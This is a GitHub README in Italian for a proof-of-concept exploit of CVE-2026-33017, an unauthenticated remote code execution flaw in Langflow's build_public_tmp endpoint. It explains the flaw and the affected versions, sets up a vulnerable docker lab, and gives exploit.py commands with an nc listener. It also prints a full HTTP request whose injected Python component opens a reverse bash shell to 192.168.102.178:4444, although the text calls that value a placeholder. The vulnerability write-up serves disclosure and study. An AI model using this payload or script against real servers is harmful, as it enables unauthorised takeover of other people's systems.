yym8538/cve-2026-33017Proof-of-concept exploit per CVE-2026-33017, un RCE non autenticato nell'endpoint build_public_tmp di Langflow, che inietta un componente personalizzato malevolo per ottenere una reverse shell.
★ CVE-2026-33017 Langflow Remote Code Execution PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Usa i seguenti comandi per compilare ed eseguire l'ambiente Langflow vulnerabile:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
Dopo aver avviato l'istanza Langflow vulnerabile, esegui il PoC con l'URL di destinazione, il Public flow ID e l'indirizzo di callback dell'attaccante.
Opzione A — usa il tuo listener:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Opzione B — usa il listener integrato con --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Opzione | Descrizione |
|---|---|
--url | URL del server Langflow di destinazione |
--flow-id | UUID del Public flow condiviso |
--lhost | IP di callback dell'attaccante |
--lport | Porta di callback dell'attaccante |
--listen | Esegue il listener integrato invece di un nc esterno |
CVE-2026-33017 è una vulnerabilità di Remote Code Execution (RCE) nel processo di build dei Public flow di Langflow, una piattaforma open-source per la creazione visuale di applicazioni LLM e workflow AI.
Inviando dati di flow appositamente costruiti all'endpointbuild_public_tmpsenza autenticazione, un attaccante può causare l'esecuzione di codice Python arbitrario sul server.
CVE-2026-33017 riguarda il seguente endpoint di build dei Public flow in Langflow, una piattaforma open-source per la creazione visuale di applicazioni LLM e workflow AI.
POST /api/v1/build_public_tmp/{flow_id}/flow
Un Public flow in Langflow è progettato per essere condiviso con altri utenti tramite un link o un meccanismo simile.
Per supportare questa funzionalità, l'endpoint di build prepara il flow per l'esecuzione senza richiedere autenticazione, leggendo i nodi, gli edge e le impostazioni del flow, e costruendo il grafo di esecuzione interno necessario per eseguirlo.
Il problema era che le versioni vulnerabili di build_public_tmp accettavano non solo le informazioni del Public flow memorizzate sul server, ma anche il campo data fornito nel corpo della richiesta.
Questo campo data poteva contenere l'intera definizione del flow, inclusi:
Di conseguenza, un attaccante poteva utilizzare una richiesta non autenticata per iniettare una struttura di flow completamente controllata dall'attaccante, invece di affidarsi al Public flow legittimo memorizzato sul server.
Una parte particolarmente pericolosa di questo design è la funzionalità Custom Component.
In Langflow, un componente rappresenta un singolo blocco funzionale responsabile di attività come la gestione dell'input, l'invocazione del modello o la generazione dell'output. Un componente personalizzato è un blocco estensibile che consente agli utenti di definirne il comportamento direttamente in codice Python.
Un attaccante poteva quindi incorporare un componente personalizzato contenente codice Python malevolo all'interno dell'oggetto data appositamente costruito, e il server lo avrebbe elaborato come se fosse una parte normale del flow. Di conseguenza, il codice iniettato poteva essere analizzato ed eseguito durante il processo di build o esecuzione, portando infine alla remote code execution.
| Categoria | Versione |
|---|---|
| Vulnerabile | Langflow precedente alla 1.9.0 |
| Corretta | Langflow 1.9.0 e successive |
Il GitHub Security Advisory indica l'intervallo interessato come
<= 1.8.2, ma la correzione — la rimozione del parametrodata— è stata introdotta nella 1.9.0. Tutte le release precedenti alla 1.9.0 (incluse 1.8.3 / 1.8.4) sono quindi interessate, motivo per cui il CVE Record indica< 1.9.0.
Lo sfruttamento riuscito di questa vulnerabilità può consentire a un attaccante di assumere il controllo del server Langflow e di eseguire azioni successive come:
Il seguente PoC dimostra CVE-2026-33017 su Langflow 1.8.1.
L'attaccante identifica innanzitutto il flow_id di un Public flow di destinazione.
L'attaccante invia una richiesta build_public_tmp che inietta un componente personalizzato il cui code Python viene eseguito sul server durante la build temporanea. Nella richiesta seguente, il valore di code è lasciato come segnaposto — inserisci tu stesso il payload (vedi la nota sotto la richiesta).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Durante il processo di build, il codice incorporato nel componente personalizzato viene eseguito sul server. Quando si utilizza la variante reverse shell (automatizzata da exploit.py), viene stabilita una connessione verso il listener dell'attaccante, fornendo a quest'ultimo una shell interattiva per eseguire comandi arbitrari sul server.
Sebbene build_public_tmp fosse destinato a costruire Public flow, le versioni vulnerabili accettavano comunque un campo data direttamente dal corpo della richiesta.
A causa di questo design, il data fornito dall'attaccante veniva passato direttamente nella logica di build lato server, e qualsiasi codice Python incorporato in un componente personalizzato veniva gestito come se facesse parte di un flow legittimo.